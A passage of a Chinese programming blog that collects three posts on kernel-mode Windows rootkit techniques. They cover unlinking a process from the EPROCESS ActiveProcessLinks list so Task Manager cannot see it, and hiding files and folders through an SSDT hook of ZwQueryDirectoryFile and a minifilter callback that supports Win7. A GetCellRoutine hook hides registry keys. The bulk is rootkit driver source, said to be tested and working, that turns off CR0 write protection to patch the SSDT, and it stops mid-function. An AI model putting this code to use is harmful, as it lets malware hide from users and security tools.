关于驱动隐藏进程以及文件夹

发布时间:April 26, 2015 // 分类:代码学习,VC/C/C++,windows // No Comments

进程隐藏:让任务管理器找不到指定进程
原理:任务管理器通过ZwQuerySystemInformation函数来获取当前进程列表,而 ZwQuerySystemInformation函数内部是通过查找双向链表来操作的,所以如果把想隐藏的进程从这个链表中脱离出来,任务管理器就列不出这个进程了。
具体方法:1、首先得到要隐藏的进程的PID
      2、通过PID得到进程的EPROCESS
      3、由EPROCESS定位到双向链表
      4、修改链表,使指定进程脱离
实现:
1、在驱动中获取指定进程PID网上有很多方法,贴一个我也忘了在哪里找的方法吧:

代码:

ULONG GetPid()
{
  NTSTATUS ntStatus;
  char ProcessName[256];
  ULONG cbBuffer; 
  PSYSTEM_PROCESS_INFORMATION pInfo;
  PSYSTEM_THREAD_INFORMATION pThread;
  VOID* pBuffer = NULL;
  ULONG i;
  ULONG ThreadCount;
  char MyProtectName[]="calc.exe";
  ULONG MyProcessId;


  ZwQuerySystemInformation(5, &cbBuffer, 0, &cbBuffer);
  pBuffer = ExAllocatePool (NonPagedPool, cbBuffer); 
  if (pBuffer == NULL) 
  {
    return 1;
  }
  ntStatus = ZwQuerySystemInformation(5, pBuffer, cbBuffer, NULL);

  if (!NT_SUCCESS(ntStatus))
  {
    ExFreePool(pBuffer); 
    return 1; 
  }

  pInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer;

  while(1){
    LPWSTR pszProcessName = pInfo->ProcessName.Buffer;
    if (pszProcessName == NULL) 
      pszProcessName = L"NULL"; 
    wcstombs(ProcessName,pszProcessName,256); 
    if(_stricmp(MyProtectName,ProcessName)==0)
    {
      DbgPrint("calc.exe Pid is %d\n",pInfo->ProcessId);
      MyProcessId=pInfo->ProcessId;
      return MyProcessId;
    } 
    if (pInfo->NextEntryDelta == 0) 
      break; 

    pInfo = (PSYSTEM_PROCESS_INFORMATION)(((PUCHAR)pInfo)+ pInfo->NextEntryDelta);
  }
  ExFreePool(pBuffer);
  return 0;
}

该方法的原理是:
通过ZwQuerySystemInformation函数得到进程信息_SYSTEM_PROCESS_INFORMATION,然后按进程名与要隐藏的进程名进行比较,得到进程的PID。
2、通过PID得到进程的EPROCESS就简单了,一个PsLookupProcessByProcessId全部搞定。
3、定位双向链表就更简单了,dt一下EPROCESS结构,找到ActiveProcessLinks成员的偏移,就是它了。
4、最后一步,修改链表。看网上的代码我一直没看明白,想到上学的时候写过双链表的程序,索性自己分析了一下:
作一个简单的示意图,方便理解吧:
 点击图片以查看大图

图片名称:   111.png
查看次数:   26
文件大小:   5.0 KB
文件 ID : 84521
现在假设想要隐藏的进程在双链表中对应B节点,橘黄色箭头表示前一个节点Blink,绿色箭头表示后一个节点Flink。
先看上面一条链表,现在要把B节点中的C,写到A节点中B的位置,而A节点正是B.Blink,所以就可以这样写一句代码:B->Blink->Flink = B->Flink,这样上一条链已经不关节点B的事了。
但是这样还脱不了身,还得把下面一条链断了。也就是要B.Blink赋值给C.Blink,既而得到了这样一句代码:B->Flink->Blink= B->Blink;
综上所述,任务管理器找不到指定进程了。
文件隐藏
原理:windows文件浏览器是使用ZwQueryDirectoryFile函数来读取文件列表的,只要hook这个函数,做一些过滤,就可以了。

if(NT_SUCCESS(status)&&FileInformationClass==FileBothDirectoryInformation)
  {
    PFILE_BOTH_DIR_INFORMATION pFileInfo;
    PFILE_BOTH_DIR_INFORMATION pLastFileInfo;
    BOOLEAN bLastOne;
    int iPos,iLeft;
    pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformation; 
    pLastFileInfo = NULL;
    do
    {
      bLastOne = !( pFileInfo->NextEntryOffset );
      RtlInitUnicodeString(&uniFileName,pFileInfo->FileName);
      RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
      RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
      if( RtlCompareMemory(ansiFileName.Buffer,HideDirFile.Buffer,HideDirFile.Length ) == HideDirFile.Length)
      {
        if(bLastOne) 
        {
          pLastFileInfo->NextEntryOffset = 0;
          break;
        } 
        else
        {
          
          iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation;
          iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset;
          RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );
          continue;
        }
      }
      pLastFileInfo = pFileInfo;
      KdPrint(("%X",pFileInfo->NextEntryOffset));
      pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);
      
    }while(!bLastOne);
    RtlFreeAnsiString(&ansiDirName); 
    RtlFreeAnsiString(&ansiFileName);
  }

这段代码难于理解的地方,个人认为是这三句:
iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation;
iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset;
RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );

还是画个图来说吧:
 点击图片以查看大图

图片名称:   222.png
查看次数:   10
文件大小:   13.4 KB
文件 ID : 84522
现在要保护的文件假设是FileC,那么当查询到这个文件的时候怎么办呢?就是把指针移动到后面一个去。但是这个结构比双链表要复杂得多,所以不能像上面进程隐藏那么改了,这段代码是把后面的指针内容直接复制覆盖 FileC的指针。
iPos:前面已经走过的路的长度。
pFileInfo->NextEntryOffset:要隐藏文件到下一个文件的相对距离
iLeft:除去要隐藏的文件之后要走的路的长度
注册表隐藏
原理:上面的链接中原理已经被大牛说得很清楚了,我只谈下我理解了很久的地方
具体方法:1、通过注册表句柄,得到对象体
     2、通过对象体,得到KeyControlBlock
     3、通过KCB,得到GetCellRoutine函数
     4、hook GetCellRoutine 函数
     5、判断节点是否为要隐藏节点,如果是则返回最后一个节点。
贴一段代码:
具体方法:1、ssdt hook ZwQueryDirectoryFile函数
     2、获取FILE_BOTH_DIR_INFORMATION结构,对比要隐藏的文件名
     3、修改指针,使其跳过隐藏文件
实现:
1、ssdt hook就不用说了,大家都会
2、调用原来的ZwQueryDirectoryFile,获取FILE_BOTH_DIR_INFORMATION结构。
3、贴一段代码吧:

PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
  // 调用原函数
  
  PVOID pRet = g_pGetCellRoutine(Hive, Cell);

  if (pRet)
  {
    // 返回的是需要隐藏的节点
    if (pRet == g_HideNode)
    {
      DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
      // 查询、保存并返回其父键的最后一个子键的节点
      pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
      DbgPrint("g_LastNode = %lx\n", g_LastNode);
      // 隐藏的正是最后一个节点,返回空值
      if (pRet == g_HideNode) pRet = NULL;
    }
    // 返回的是先前保存的最后一个节点
    else if (pRet == g_LastNode)
    {
      DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
      // 清空保存值,并返回空值
      //pRet = g_LastNode = NULL;
    }
  }
  return pRet;
}

问题:1、遇到要隐藏的节点,为什么要返回最后一个节点?
答:遇到要隐藏的节点,如果直接返回NULL,那么后面的节点就无法列出了。
   2、遇到最后一个节点,为什么要返回NULL。
答:前面遇到要隐藏的节点时返回了最后一个节点,如果再返回,会出现两个最后一个节点。如图:
名称:  333.png
查看次数: 1
文件大小:  3.5 KB
 这种效果不是你新建一个同名项就能达到的哦。 

参考文章:
http://bbs.pediy.com/showthread.php?t=64728    进程隐藏
http://bbs.pediy.com/showthread.php?t=63629    文件隐藏
http://bbs.pediy.com/showthread.php?t=63540    注册表隐藏

1.http://www.codeproject.com/Articles/32744/Driver-to-Hide-Processes-and-Files

2.http://www.codeproject.com/Articles/167583/Driver-to-Hide-Processes-and-Files-Second-Edition

3.http://www.codeproject.com/Articles/444995/Driver-to-hide-files-in-Linux-OS

4.http://www.codeproject.com/Articles/66305/Simple-SST-Unhooker

驱动隐藏文件夹的实现(支持Win7)

发布时间:April 26, 2015 // 分类:VC/C/C++,代码学习,windows // No Comments

刚完成一个利用驱动隐藏文件夹的程序,隐藏文件的类似,现在贴出来共享给大家。

代码相对比较简单,我是在别人代码的基础上改的。

因为现在在网上找到的代码都是不支持XP以上版本的,所以我在别人代码的基础上添加了XP以上版本的支持。

现在该代码同时支持XP以下及XP以上版本(本人仅测试XP和Win7)。

利用驱动实现文件的隐藏主要是在IRP_MJ_DIRECTORY_CONTROL的后操作回调函数中处理其输入参数FLT_CALLBACK_DATA结构中的缓冲区数据。

该缓冲地址的获取是重点,Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer(或MdlAddress)

网上现有代码不支持XP以上版本的原因是Vista或Win7返回的FileInformationClass结构不再是FileBothDirectoryInformation,而是FileIdBothDirectoryInformation

【注】虽然利用驱动隐藏文件无法利用“显示隐藏文件”查看,但文件实际仍存在,通过路径仍然可以访问。

实现代码如下:

//实现目录隐藏,支持XP及以上版本 JiaSong[2010-11-1] 
FLT_POSTOP_CALLBACK_STATUS
HideFilePostDirCtrl (
    __inout PFLT_CALLBACK_DATA Data,
    __in PCFLT_RELATED_OBJECTS FltObjects,
    __in_opt PVOID CompletionContext,
    __in FLT_POST_OPERATION_FLAGS Flags 
)
{
    ULONG nextOffset = 0;
    int modified = 0;
    int removedAllEntries = 1;    
 
    PFILE_BOTH_DIR_INFORMATION currentFileInfo = 0;     
     PFILE_BOTH_DIR_INFORMATION nextFileInfo = 0;    
     PFILE_BOTH_DIR_INFORMATION previousFileInfo = 0;    
      
     PFILE_ID_BOTH_DIR_INFORMATION currentFileIdInfo = 0;
    PFILE_ID_BOTH_DIR_INFORMATION nextFileIdInfo = 0;
    PFILE_ID_BOTH_DIR_INFORMATION previousFileIdInfo = 0;
     
    UNREFERENCED_PARAMETER( FltObjects );
    UNREFERENCED_PARAMETER( CompletionContext );    
 
    //不满足过滤条件的直接放过 
    if( FlagOn( Flags, FLTFL_POST_OPERATION_DRAINING ) || 
        Data->Iopb->MinorFunction != IRP_MN_QUERY_DIRECTORY ||
        Data->Iopb->Parameters.DirectoryControl.QueryDirectory.Length <= 0 ||
        !NT_SUCCESS(Data->IoStatus.Status))
    {
        return FLT_POSTOP_FINISHED_PROCESSING;
    }
    //XP及其以下版本,需要过滤 FileBothDirectoryInformation 类型的信息 
    if(Data->Iopb->Parameters.DirectoryControl.QueryDirectory.FileInformationClass == FileBothDirectoryInformation)
    {
        //我们可以得到一个缓存区,这个缓存里面就保留着文件夹中所有的文件信息。
        //根据这个缓存的结构遍历处理,过滤掉要隐藏的文件名就能达到隐藏的目的了 
        if (Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress != NULL)
        {//缓存地址
            currentFileInfo=(PFILE_BOTH_DIR_INFORMATION)MmGetSystemAddressForMdlSafe( 
                         Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress,
                         NormalPagePriority );            
        }
        else
         {//缓存地址
             currentFileInfo=(PFILE_BOTH_DIR_INFORMATION)Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer;             
         }     
         
        if(currentFileInfo==NULL)return FLT_POSTOP_FINISHED_PROCESSING;       
        previousFileInfo = currentFileInfo;
             
        do
        {
            //Byte offset of the next FILE_BOTH_DIR_INFORMATION entry
            nextOffset = currentFileInfo->NextEntryOffset;
            //后继结点指针 
            nextFileInfo = (PFILE_BOTH_DIR_INFORMATION)((PCHAR)(currentFileInfo) + nextOffset);            
 
            KdPrint(("1.FileName: %S, ShortName: %S\n",currentFileInfo->FileName,currentFileInfo->ShortName));
            if(_wcsnicmp(currentFileInfo->FileName,g_prefixName,wcslen(g_prefixName))==0)
            {
                KdPrint(("1.g_prefixName: %S, currentFileInfo->FileName: %S\n",g_prefixName,currentFileInfo->FileName));
                if( nextOffset == 0 )
                {
                    previousFileInfo->NextEntryOffset = 0;
                }
                else
                {//更改前驱结点中指向下一结点的偏移量,略过要隐藏的文件的文件结点,达到隐藏目的 
                    previousFileInfo->NextEntryOffset = (ULONG)((PCHAR)currentFileInfo - (PCHAR)previousFileInfo) + nextOffset;
                }
                modified = 1;
            }
            else
            {
                removedAllEntries = 0;
                //前驱结点指针后移 
                previousFileInfo = currentFileInfo;
            }
            //当前指针后移          
            currentFileInfo = nextFileInfo;
        } while( nextOffset != 0 );
    }
    //vista或win7返回的结构不再是FileBothDirectoryInformation.而是FileIdBothDirectoryInformation
    else if(Data->Iopb->Parameters.DirectoryControl.QueryDirectory.FileInformationClass ==FileIdBothDirectoryInformation)
    {
        if (Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress != NULL)
        {
            currentFileIdInfo=(PFILE_ID_BOTH_DIR_INFORMATION)MmGetSystemAddressForMdlSafe( 
                         Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress,
                         NormalPagePriority );            
        }
        else
         {
             currentFileIdInfo=(PFILE_ID_BOTH_DIR_INFORMATION)Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer;             
         }     
         
        if(currentFileIdInfo==NULL)return FLT_POSTOP_FINISHED_PROCESSING;
        previousFileIdInfo = currentFileIdInfo;
             
        do
        {
            //Byte offset of the next FILE_ID_BOTH_DIR_INFORMATION entry
            nextOffset = currentFileIdInfo->NextEntryOffset;            
               nextFileIdInfo = (PFILE_ID_BOTH_DIR_INFORMATION)((PCHAR)(currentFileIdInfo) + nextOffset);            
 
            KdPrint(("2.FileName: %S, ShortName: %S\n",currentFileIdInfo->FileName,currentFileIdInfo->ShortName));
            if(_wcsnicmp(currentFileIdInfo->FileName,g_prefixName,wcslen(g_prefixName))==0)
            {
                KdPrint(("2.g_prefixName: %S, currentFileInfo->FileName: %S\n",g_prefixName,currentFileIdInfo->FileName));
                if( nextOffset == 0 )
                {
                    previousFileIdInfo->NextEntryOffset = 0;
                }
                else
                {
                    previousFileIdInfo->NextEntryOffset = (ULONG)((PCHAR)currentFileIdInfo - (PCHAR)previousFileIdInfo) + nextOffset;
                }
                modified = 1;
            }
            else
            {
                removedAllEntries = 0;                
                previousFileIdInfo = currentFileIdInfo;                
            }
            currentFileIdInfo = nextFileIdInfo;
             
        } while( nextOffset != 0 );
    }
    if( modified )
    {
        if( removedAllEntries )
         {
              Data->IoStatus.Status = STATUS_NO_MORE_FILES;
          }
           else
           {
            FltSetCallbackDataDirty( Data );
        }
    }        
    return FLT_POSTOP_FINISHED_PROCESSING;
}

注意以上代码使用的是宏开关,只是在编译时起作用,而非运行时。要想XP和win7都可以正常隐藏文件目录需要分别编译。

要想XP和win7同时起作用,需要去掉宏开关,然后把HideFilePostDirCtrl 改成一下代码

//实现目录隐藏,支持XP及以上版本 JiaSong[2010-11-1] 
FLT_POSTOP_CALLBACK_STATUS
HideFilePostDirCtrl (
    __inout PFLT_CALLBACK_DATA Data,
    __in PCFLT_RELATED_OBJECTS FltObjects,
    __in_opt PVOID CompletionContext,
    __in FLT_POST_OPERATION_FLAGS Flags 
)
{
    ULONG nextOffset = 0;
    int modified = 0;
    int removedAllEntries = 1;    
    PFILE_BOTH_DIR_INFORMATION currentFileInfo = 0;     
     PFILE_BOTH_DIR_INFORMATION nextFileInfo = 0;    
     PFILE_BOTH_DIR_INFORMATION previousFileInfo = 0;    
      
     PFILE_ID_BOTH_DIR_INFORMATION currentFileIdInfo = 0;
    PFILE_ID_BOTH_DIR_INFORMATION nextFileIdInfo = 0;
    PFILE_ID_BOTH_DIR_INFORMATION previousFileIdInfo = 0;
     
    UNREFERENCED_PARAMETER( FltObjects );
    UNREFERENCED_PARAMETER( CompletionContext );    
    //不满足过滤条件的直接放过 
    if( FlagOn( Flags, FLTFL_POST_OPERATION_DRAINING ) || 
        Data->Iopb->MinorFunction != IRP_MN_QUERY_DIRECTORY ||
        Data->Iopb->Parameters.DirectoryControl.QueryDirectory.Length <= 0 ||
        !NT_SUCCESS(Data->IoStatus.Status))
    {
        return FLT_POSTOP_FINISHED_PROCESSING;
    }
    //XP及其以下版本,需要过滤 FileBothDirectoryInformation 类型的信息 
    if(Data->Iopb->Parameters.DirectoryControl.QueryDirectory.FileInformationClass == FileBothDirectoryInformation)
    {
        //我们可以得到一个缓存区,这个缓存里面就保留着文件夹中所有的文件信息。
        //根据这个缓存的结构遍历处理,过滤掉要隐藏的文件名就能达到隐藏的目的了 
        if (Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress != NULL)
        {//缓存地址
            currentFileInfo=(PFILE_BOTH_DIR_INFORMATION)MmGetSystemAddressForMdlSafe( 
                         Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress,
                         NormalPagePriority );            
        }
        else
         {//缓存地址
             currentFileInfo=(PFILE_BOTH_DIR_INFORMATION)Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer;             
         }     
         
        if(currentFileInfo==NULL)return FLT_POSTOP_FINISHED_PROCESSING;       
        previousFileInfo = currentFileInfo;
             
        do
        {
            //Byte offset of the next FILE_BOTH_DIR_INFORMATION entry
            nextOffset = currentFileInfo->NextEntryOffset;
            //后继结点指针 
            nextFileInfo = (PFILE_BOTH_DIR_INFORMATION)((PCHAR)(currentFileInfo) + nextOffset);            
            KdPrint(("1.FileName: %S, ShortName: %S\n",currentFileInfo->FileName,currentFileInfo->ShortName));
            if(_wcsnicmp(currentFileInfo->FileName,g_prefixName,wcslen(g_prefixName))==0)
            {
                KdPrint(("1.g_prefixName: %S, currentFileInfo->FileName: %S\n",g_prefixName,currentFileInfo->FileName));
                if( nextOffset == 0 )
                {
                    previousFileInfo->NextEntryOffset = 0;
                }
                else
                {//更改前驱结点中指向下一结点的偏移量,略过要隐藏的文件的文件结点,达到隐藏目的 
                    previousFileInfo->NextEntryOffset = (ULONG)((PCHAR)currentFileInfo - (PCHAR)previousFileInfo) + nextOffset;
                }
                modified = 1;
            }
            else
            {
                removedAllEntries = 0;
                //前驱结点指针后移 
                previousFileInfo = currentFileInfo;
            }
            //当前指针后移          
            currentFileInfo = nextFileInfo;
        } while( nextOffset != 0 );
    }
    //vista或win7返回的结构不再是FileBothDirectoryInformation.而是FileIdBothDirectoryInformation
    else if(Data->Iopb->Parameters.DirectoryControl.QueryDirectory.FileInformationClass ==FileIdBothDirectoryInformation)
    {
        if (Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress != NULL)
        {
            currentFileIdInfo=(PFILE_ID_BOTH_DIR_INFORMATION)MmGetSystemAddressForMdlSafe( 
                         Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress,
                         NormalPagePriority );            
        }
        else
         {
             currentFileIdInfo=(PFILE_ID_BOTH_DIR_INFORMATION)Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer;             
         }     
         
        if(currentFileIdInfo==NULL)return FLT_POSTOP_FINISHED_PROCESSING;
        previousFileIdInfo = currentFileIdInfo;
             
        do
        {
            //Byte offset of the next FILE_ID_BOTH_DIR_INFORMATION entry
            nextOffset = currentFileIdInfo->NextEntryOffset;            
               nextFileIdInfo = (PFILE_ID_BOTH_DIR_INFORMATION)((PCHAR)(currentFileIdInfo) + nextOffset);            
            KdPrint(("2.FileName: %S, ShortName: %S\n",currentFileIdInfo->FileName,currentFileIdInfo->ShortName));
            if(_wcsnicmp(currentFileIdInfo->FileName,g_prefixName,wcslen(g_prefixName))==0)
            {
                KdPrint(("2.g_prefixName: %S, currentFileInfo->FileName: %S\n",g_prefixName,currentFileIdInfo->FileName));
                if( nextOffset == 0 )
                {
                    previousFileIdInfo->NextEntryOffset = 0;
                }
                else
                {
                    previousFileIdInfo->NextEntryOffset = (ULONG)((PCHAR)currentFileIdInfo - (PCHAR)previousFileIdInfo) + nextOffset;
                }
                modified = 1;
            }
            else
            {
                removedAllEntries = 0;                
                previousFileIdInfo = currentFileIdInfo;                
            }
            currentFileIdInfo = nextFileIdInfo;
             
        } while( nextOffset != 0 );
    }
    if( modified )
    {
        if( removedAllEntries )
         {
              Data->IoStatus.Status = STATUS_NO_MORE_FILES;
          }
           else
           {
            FltSetCallbackDataDirty( Data );
        }
    }        
    return FLT_POSTOP_FINISHED_PROCESSING;
}

 

驱动实现RootKit文件隐藏

发布时间:April 26, 2015 // 分类:代码学习,VC/C/C++,windows,转帖文章 // No Comments

以下代码已经经过测试可以正确编译运行。效果也正常实现,可以作为学习驱动的一个示例代码。

#include "ntddk.h"
#include <windef.h>
 
 
#pragma pack(1) //SSDT Table
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //Used only in checked build
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
 
 
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)] //数组下标从1开始不是从零开始
NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,IN PUNICODE_STRING  RegistryPath);
VOID Unload(IN PDRIVER_OBJECT  DriverObject);
 
 
//取代的新函数
NTSTATUS NTAPI NewZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );
 
 
//API 声明
NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );
 
 
typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );
 
 
typedef struct _FILE_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;
 
 
typedef struct _FILE_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;
 
 
typedef struct _FILE_ID_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;
 
 
typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
 
 
typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;
 
 
typedef struct _FILE_NAMES_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
 
 
//-----------------------------------------------------------------------------------------------------------
//源地址
ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile = NULL;
DWORD GetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
void SetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo,IN DWORD Offset);
PVOID GetEntryFileName(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
ULONG GetFileNameLength(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
  
  
//#include "Hidefile.h"
NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,IN PUNICODE_STRING  RegistryPath)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
DriverObject->DriverUnload = Unload;
KdPrint(("Driver Entry Called!/n"));
KdPrint(("OldAddress原始函数地址值:0x%X/t新函数地址值NewAddress:0x%X/n",SYSTEMSERVICE(ZwQueryDirectoryFile),NewZwQueryDirectoryFile));
 
__asm //去掉页面保护
{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
 
OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile);//将旧函数地址值保存备份
DbgPrint("改写函数地址前\n");
(ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = NewZwQueryDirectoryFile;//将旧函数地址值改变为我们的函数地址入口值
DbgPrint("改写函数地址后\n");
  
__asm//恢复页面保护 
{  
mov    eax, cr0 
or     eax, 10000h 
mov    cr0, eax 
sti 
} 
 
return ntStatus;
}
 
 
VOID Unload(IN PDRIVER_OBJECT  DriverObject)
{
KdPrint(("Driver Unload Called!/n"));
__asm //去掉页面保护
{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
 
(ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = OldZwQueryDirectoryFile;
KdPrint(("Address:0x%X/n",SYSTEMSERVICE(ZwQueryDirectoryFile)));
  
 __asm//恢复页面保护 
{  
mov    eax, cr0 
or     eax, 10000h 
mov    cr0, eax 
sti 
} 
return;
}
 
 
DWORD GetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
DWORD result = 0;
switch(FileInfo){
case FileDirectoryInformation:
result = ((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset;
break;
case FileFullDirectoryInformation:
result = ((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset;
break;
case FileIdFullDirectoryInformation:
result = ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset;
break;
case FileBothDirectoryInformation:
 result = ((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;
 break;
case FileIdBothDirectoryInformation:
result = ((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;
break;
case FileNamesInformation:
 result = ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset;
 break;
}
return result;
}
 
 
void SetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo,IN DWORD Offset)
{
 switch(FileInfo){
 case FileDirectoryInformation:
((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 case FileFullDirectoryInformation:
((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 case FileIdFullDirectoryInformation:
 ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 case FileBothDirectoryInformation:
((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 case FileIdBothDirectoryInformation:
((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 case FileNamesInformation:
